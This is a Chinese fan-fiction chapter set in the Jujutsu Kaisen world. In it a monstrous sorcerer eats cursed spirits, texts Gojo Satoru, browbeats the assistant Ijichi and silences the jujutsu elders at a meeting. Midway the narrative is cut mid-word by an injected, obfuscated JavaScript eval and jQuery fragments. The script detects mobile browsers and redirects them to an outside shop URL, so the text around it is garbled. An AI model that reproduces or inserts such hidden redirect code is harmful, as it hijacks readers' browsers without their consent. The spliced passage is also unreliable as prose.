硕大笨重的婴儿咒灵一脑袋供破楼层,手脚并用地逃窜,直至天台。发觉前方无路可走之后,还嗷嗷大哭起来,五只眼眶里流下浑浊的血。
“哭……不准……为什么不准哭……不许哭……”
偶尔陈潺觉得这些咒灵很好玩,至少他很难在第二只濒临死亡的生物身上听到「想要大哭」的遗愿。
都这样了,还惦记着哭泣的自由呢?
“想哭请尽快。”他特意用了一个礼貌的字。
于是婴儿抽噎着倒在地上,朝有光的方向蠕动,粗粝的沙石割破它的皮,流了一地血。
只是明显逃命的血迹。
被看到的话,容易让人觉得他有虐杀倾向,传到五条悟耳朵里就不好了。
黑雾尾随而至,帮忙清理现场——如果把地皮掀开再轰碎也算一种清洁,那么陈潺是效率最高的清洁工。
“哭够了?”微微叹气。
没人回复也并不让他失落,毕竟,本来也没有很高的兴致。
黑雾中,无数只眼睛合拢又睁开,紫光幽幽。
像长满眼睛的夜幕,夜空的尽头连接着半个人类——那真的还是人类?反正会说人话。
“我不喜欢吃会发出动静的生物。”结果咒灵哭得更厉害了。
半张脸、半张嘴、半块舌头,怪物要比平常费力数倍才能勉强说完一句话。毫无眼力的东西,死到临头还哭个没完。不会以为只要一直制造动静就能活吧?
当机立断,黑雾撑开咒灵的嘴,将舌头连根拔起。粗大的、肥硕的,黏连着青黄色不明液体的,一看就是很难吃的长相。陈潺本来想扇它两下,现在连抬手的心情都没了。
沿着舌尖,黑雾囫囵将它咽下去。浑浊的味道。
恶心得陈潺眉头紧皱,下一秒他便把自己的半张舌头也拔了出来。
舌头离体的瞬间立刻化成一小团漆黑、不详的雾气,跟正在分辨咒灵身上哪块肉相对可口的黑雾聚拢在一起。
■
啊,月亮出来了。
暂时失去味觉的陈潺仰头,任由银光钻进他的瞳孔。
这是特意来送咒灵最后一程的、还是围观他吃烂饭的?怪物想问问月亮,但它是个死星,他目前也没有舌头,哑巴遇上尸体,注定了这个问题不会有答案。
“我开动了。”
他在备忘录里打字,先后递给咒灵的眼球和月亮看——前者已经被挖出来,由黑雾递到手边。轮番展示之后,又一个字一个字删掉,切回五条悟的聊天框。
和大部分人认知中的最强不同,五条悟的头像是一只大吃黄油土豆的简笔画金毛。陈潺盯了一会,眉头紧锁。
金色的狗和金色的食品、亮晶晶的色调……为什么他不是金色呢?
人类还在纠结于自己的颜色,黑雾早已享用起夜宵。趁着没有味觉的时候赶紧吃一些吧,不然就吃不下了。
宛若实质的漆黑雾气牢牢攀附在咒灵脊背上,伴随着骇人的咀嚼与吞咽声。
间或有血肉滚落下来,又被突然暴涨的黑雾卷住、吞噬,有洁癖的怪物在半空中就截下它们,不让任何灰尘沾染。
背部只剩一具骨架,但四肢与肚腹还在试图逃窜,陈潺举起手机,对准它。
咔嚓。
闪光灯亮起。
他把只剩半截的咒灵残躯拍下来,发给五条悟。
反正剩下的都是些爬来爬去的脏肉,不想吃。
他用单手打字,输入,删除,输入,删除——
“夸夸我。”
最终只发出这三个字。
对方秒回:“好大的阵仗,辛苦了辛苦了!剩下的两个还是我做吧。”
黑雾又甩着咒灵尸体大肆翻滚一番,伪造出激战的场面。几只紫眸顺着雾气飘走,全方位端详着废墟,感觉砸得差不多了才隐进雾气里——这次是全部,所有的黑雾和眼睛都开始收缩,沿着空空荡荡的袖管钻进去,布料下被撑出胸廓的形状、塑形。
一个完整的人类男性就这样出现在原地,陈潺又拍了一张废墟照过去。
“这才叫大阵仗。我很好,你别来。”
“「金毛问号歪头」你不想见我?”
“今晚不想,我希望你能好好休息。”
“「金毛不屑」然后半夜给我发消息吗,怎么监守自盗?学长。”
“……”
执行官活吞咒灵时都没抖的手,现在连手机都拿不稳了。可怜的电子设备啪叽一下砸在地上,所幸没摔坏,他连忙捡起来。
东京时间21:10。
五条悟终于收到回复,他从教案中抬头,伸个懒腰之后才点开手机。
那是一张同时用大拇指、食指、中指比耶的自拍照。照片里的男人眸光闪烁,很努力地微笑着。背景是半个咒灵和宛如经过一场轰炸的楼顶,附文:不是监守自盗,可以出具任务证明。我只是很想你。
诶呀。又来到最麻烦的成年人感情向领域了。
虽然这也是自己有意引导下的成果吧,但这家伙一点拉扯都不会啊……明明面对校长和惠的时候很人情世故啊,敲打得比自诩礼貌的老头子们隐晦多了。
怎么会有这样割裂的人呢?这得什么样的家庭环境才能养出来?
手机又震动一下。
“你觉得我有变胖一些吗?”
■
东京时间22:00。
狂吃一番炸物的特级术师走出便利店。
五条悟说,他看起来没什么变化。
……
得更努力才行。
一共三个任务,他已经全部吃完,但还是远远不够。他需要更多。
咒灵的能量对于怪物来说太驳杂。它们相对于负面概念,更隶属于人性——作恶的人。
不过聊胜于无,至少它们体积真的很大。虽说恶心,但他有需要不是吗?那就去做。
辅助监督的车停在路灯下,见陈潺走来,也礼貌地拉下车窗打招呼。
“伊地知先生。”怪物微微颔首,“有劳你了。”说着递上一袋东西,是在便利店里买的眼罩和甜品。
“给五条先生的吗?我明天转交给他。”
陈潺拉开车门,无声地坐到后座上。
“眼罩是给你的,有助眠作用。”他仿佛在叙述一件稀松平常的事,“现在很晚了,又让你陪我去总监部,很辛苦。五条说,要尽可能地让你轻松一些。”
越平淡的语调,越能激发出人心里的情绪。
执行官对此有着得天独厚的天赋——他少有情绪,以至于什么话从这张嘴里出来都像居高临下的慰问。
仿佛辅助监督的劳累奔波,仅需几幅眼罩就能摆平。
廉价且不值一提。
对方脸色出现一瞬的僵硬。
但没关系。
他表现得越差,越会显得五条悟好。至于好感度,不会被影响的。因为高层对底下的人颐气指使,是所有人都觉得理所应当的。「陈先生」只需要偶尔体贴、偶尔人性化,就能获得巨大收益了。
“居然是五条先生……真不像他会做出来的事呢,也没跟我说过这些。”震惊的、叹息着才能勉强说完的语气,伊地知扶了下镜框。
后视镜里,陈先生整个下巴都缩在漆黑大衣里,很恬静。
刚才的气势,果然是错觉吧。
“你跟谁聊起五条的时候,都会说「不像他会做的事」吗?”
他仰起脸,用实际行动告诉伊地知:你感觉得没错。
“啊……啊?”
“那他又该做什么呢?或者说,什么才像他会做的事情——轻浮的、恶劣的、幼稚的、不体贴他人的?”
陈潺自问自答似的,目光也分散地朝向窗外。
“辅助监督,你需要想想。如果不是他的原因,「我们」对你会是什么态度。”
我们,言下之意就是总监部。
伊地知手心满是汗液。
他怎么就能松懈,身后这个家伙可是货真价实的咒术高层!而且对方还是跟五条先生指名道姓地说什么“那就麻烦伊地知送我去开会吧”,虽然不知道最强为什么会同意……
“你不在思考我让你想的问题。是太难了,需要帮忙吗?”
银月再次穿透云层,它的颜色无限接近于纯白,跟五条悟的发色有些相似——陈潺喜欢看一切能让他联想到五条悟的东西。
“不要给人提供攻击他的武器,即使他有无下限。不然,五条会很寂寞的,你知道人一旦太寂寞了会做什么吗?”
伊地知透过后视镜,后座的人唇角越来越上扬,令人胆寒的弧度。
“做、做什么?”
“唔,也不会做什么——原来你已经在五条身上开始设想不好的事情吗?表情很丑陋,会被我的同僚们批评的。”
地方到了。
陈潺打开车门,同刚见面时一样,朝车内的辅助监督微微颔首。
“那些甜品还请常备在车上,更换冰袋的钱可以找我报销。晚安,伊地知先生。睡前记得戴眼罩。”
■
东京时间22:10。
会议在缺少主人公的前提下如常开始。
“你们说你们的,届时我会转答。”
陈潺坐在自己那扇屏风后,有术师天赋的侍者已经为他布置好一切。
其余人则面面相
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288090|198459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觑、无话可说。
他们本来是想为难五条悟,才临时安排其任务时间跟开会时间反着来。
不然20:00~22:00才是原本的会议时间。
只是为了让五条饱受煎熬——陈潺完全能理解老头子们这样做的意义,因为他们并不能插手最强真正想要去做的事情。
五条悟活着就是最碍眼的,但五条悟又不得不活着——咒术界需要保护,他们需要最强。
一方面离不开、一方面又忌惮,所以才想出这种损招:通过折腾五条悟的作息、打乱他的计划、塞满各种各样的任务,以彰显自身绝对的权力。
有人为了这场权力展示,甚至一整个白天都在提前补觉,结果现在告诉他们:主人公没来!
那他们的提前准备还有什么意义?一切都付诸东流了!
“五条悟去哪里了!”
正对面有人在拍桌大喊,一群难听的声音纷纷附和。
陈潺双手捂住耳朵,下巴缩在衣领里,百无聊赖地模仿五条悟打哈欠。
他记不住这些老头子分别是谁,也懒得在噪音里插嘴。
反正放置一会,他们就会自己停下的。
■
“会议怎么样,有没有老头子为难你?”
不做人就是有这种好处,没有手空闲的时候,黑雾可以帮忙玩手机。
从五条悟手上拿来开会名额可不容易,白发术师比任何人印象中的都要负责且珍视他人。
以至于陈潺在剩下的两个任务里,需要一边吃咒灵一边留下完整的舌头跟五条悟打语音——打字已经赶不上他们的语速了。
后边逛便利店,也多半是为了压住咒灵残留在舌根的腐烂味道。
五条悟反对的理由也很简单:
1.你太瘦,需要多休息。
2.你已经帮我处理完三个任务,需要多休息。
3.高层很难缠,会欺负你。
4.那是我自己选择承担的事。
所以呢,才会有伊地知先生的出场。
执行官并不是说服五条悟的,而是近似于胡搅蛮缠——反正我就是想替你去呀、你觉得我做不到吗、白天可以睡觉呀、真出事了马上联系你……
谁都经不起这么磨,尤其陈潺确实有自保的能力。但最强仍然不支持。两相争执之下,五条悟把最信任的人派来,说会议这边一出事就立刻联系他。
可怜的伊地知先生当然也不能白加班。五条悟的本意是让他们两个白天都好好休息——无论会议进展好坏。
奈何执行官骨子里就会阳奉阴违,直接摆出高层的身份,把辅助监督安排去睡觉了。
“完全没有,大家都在踊跃发言呢。”陈潺回答。
其实是一致斥责五条悟。
这群人连询问「陈先生」在哪个立场都不敢,即使有眼尖的已经看到他的吧唧。
“别对老师撒谎。”五条悟回复道,“不过你还有时间玩手机,那应该是没什么问题。出事要及时汇报。”
附赠一个作势打人的简笔画白猫。
殊不知陈潺是一位可以变出无数只手用来操作手机的天选之子。俗话说得好,你永远不知道屏幕后面跟你对话的东西是什么。
陈潺:「五黑犬比OK」
同时也是陈潺:“你们真是欠死,五条家主的行踪也敢打听?”
■
“老夫都为了五条悟的胡闹而拖着残躯不曾入眠,他居然敢把我等搁置在此,老夫又有何不敢发问!”
众人相互推诿一会,终于推出来一个代表替他们发言。
正好是最先说话的那个。
“躯体残了就去死,不用拖着来。”陈潺想了一下,礼貌道,“辛苦,你也晚安。”
说罢,屏风后的老头啪一下砸在地上。侍者蜂拥而至,一番手忙脚乱后,发觉对方只是睡着了。
且气息平稳、呼吸悠长。
“深度睡眠,百万元一次,你们需要吗?”
陈潺瞥了一眼管理员后台的扣费记录,本着「给这种人花钱就是浪费」的原则,决定十倍赚回来。他叫住其中一位检查老头情况的侍者——总监部的侍者都是各自的家系术师,出身家族的使唤旁支、非家族的使唤平民。
就连陈潺用的也是自己势力下的平民,他恐吓夜蛾正道的话并非空穴来风。
“你们主人欠我一百万,醒了记得让他当面还——在我出席的下次会议上。至于我什么时候再出现,取决于你们什么时候找五条悟来开会。”
鸦雀无声。怪物则抓紧机会,见缝插针地玩手机。
五条悟:“这是什么狗?很有气势嘛!”
陈潺:“五黑犬,我故乡特有的品种。”